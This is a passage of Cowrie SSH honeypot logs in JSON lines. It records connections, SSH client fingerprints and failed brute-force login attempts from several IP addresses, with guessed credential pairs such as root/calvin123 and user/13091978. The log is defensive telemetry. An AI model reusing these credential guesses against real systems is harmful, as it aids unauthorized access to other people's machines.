nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:16.879268Z","src_ip":"209.99.184.143","session":"03a6b4fa6b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test_12345","message":"login attempt [root/Test_12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:17.280875Z","src_ip":"209.99.184.143","session":"03a6b4fa6b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:18.375612Z","src_ip":"209.99.184.143","session":"03a6b4fa6b35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":38726,"dst_ip":"159.203.135.109","dst_port":22,"session":"f78084039106","protocol":"ssh","message":"New connection: 72.17.34.38:38726 (159.203.135.109:22) [session: f78084039106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:24.426149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:24.431792Z","src_ip":"72.17.34.38","session":"f78084039106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:24.467125Z","src_ip":"72.17.34.38","session":"f78084039106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1223","message":"login attempt [root/1223] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:24.637594Z","src_ip":"72.17.34.38","session":"f78084039106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":58026,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fab3b8b7918","protocol":"ssh","message":"New connection: 43.130.31.151:58026 (159.203.135.109:22) [session: 5fab3b8b7918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:25.638525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:25.644379Z","src_ip":"43.130.31.151","session":"5fab3b8b7918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:25.680311Z","src_ip":"72.17.34.38","session":"f78084039106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:25.714257Z","src_ip":"43.130.31.151","session":"5fab3b8b7918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calvin123","message":"login attempt [root/calvin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:26.025805Z","src_ip":"43.130.31.151","session":"5fab3b8b7918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:27.099033Z","src_ip":"43.130.31.151","session":"5fab3b8b7918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":54666,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c5d5dfa2933","protocol":"ssh","message":"New connection: 202.79.29.108:54666 (159.203.135.109:22) [session: 3c5d5dfa2933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:27.529850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:27.535785Z","src_ip":"202.79.29.108","session":"3c5d5dfa2933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:27.796130Z","src_ip":"202.79.29.108","session":"3c5d5dfa2933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahdavi","password":"mahdavi","message":"login attempt [mahdavi/mahdavi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:28.862137Z","src_ip":"202.79.29.108","session":"3c5d5dfa2933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40388,"dst_ip":"10.17.0.5","dst_port":22,"session":"58d9743735ce","protocol":"ssh","message":"New connection: 147.45.199.80:40388 (10.17.0.5:22) [session: 58d9743735ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:30.064113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:30.069562Z","src_ip":"147.45.199.80","session":"58d9743735ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:30.125139Z","src_ip":"202.79.29.108","session":"3c5d5dfa2933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:30.169268Z","src_ip":"147.45.199.80","session":"58d9743735ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natashka","message":"login attempt [root/natashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:30.466231Z","src_ip":"147.45.199.80","session":"58d9743735ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:47:31.568407Z","src_ip":"147.45.199.80","session":"58d9743735ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":23605,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a5950a2f343","protocol":"ssh","message":"New connection: 2.57.121.25:23605 (10.17.0.5:22) [session: 2a5950a2f343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:04.912991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:04.919065Z","src_ip":"2.57.121.25","session":"2a5950a2f343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:05.021262Z","src_ip":"2.57.121.25","session":"2a5950a2f343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13091978","message":"login attempt [user/13091978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:05.494576Z","src_ip":"2.57.121.25","session":"2a5950a2f343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130884","message":"login attempt [user/130884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:06.598246Z","src_ip":"2.57.121.25","session":"2a5950a2f343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130685","message":"login attempt [user/130685] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:07.702093Z","src_ip":"2.57.121.25","session":"2a5950a2f343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13061980","message":"login attempt [user/13061980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:08.806163Z","src_ip":"2.57.121.25","session":"2a5950a2f343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13051996","message":"login attempt [user/13051996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:09.911702Z","src_ip":"2.57.121.25","session":"2a5950a2f343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59302,"dst_ip":"10.17.0.5","dst_port":22,"session":"45828b1944c8","protocol":"ssh","message":"New connection: 51.250.105.222:59302 (10.17.0.5:22) [session: 45828b1944c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:10.095077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:10.100643Z","src_ip":"51.250.105.222","session":"45828b1944c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:10.232330Z","src_ip":"51.250.105.222","session":"45828b1944c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcasd123","message":"login attempt [root/zxcasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:10.618406Z","src_ip":"51.250.105.222","session":"45828b1944c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:11.014516Z","src_ip":"2.57.121.25","session":"2a5950a2f343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:11.751060Z","src_ip":"51.250.105.222","session":"45828b1944c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":45088,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de2d05cdbc8","protocol":"ssh","message":"New connection: 209.99.184.143:45088 (159.203.135.109:22) [session: 6de2d05cdbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:15.935679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:15.943371Z","src_ip":"209.99.184.143","session":"6de2d05cdbc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:16.036457Z","src_ip":"209.99.184.143","session":"6de2d05cdbc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe-user","password":"123456","message":"login attempt [frappe-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:16.436947Z","src_ip":"209.99.184.143","session":"6de2d05cdbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:17.532535Z","src_ip":"209.99.184.143","session":"6de2d05cdbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":34658,"dst_ip":"159.203.135.109","dst_port":22,"session":"6284cccb426f","protocol":"ssh","message":"New connection: 72.17.34.38:34658 (159.203.135.109:22) [session: 6284cccb426f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:31.235477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:31.239925Z","src_ip":"72.17.34.38","session":"6284cccb426f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:31.278555Z","src_ip":"72.17.34.38","session":"6284cccb426f","protocol":"ssh"}
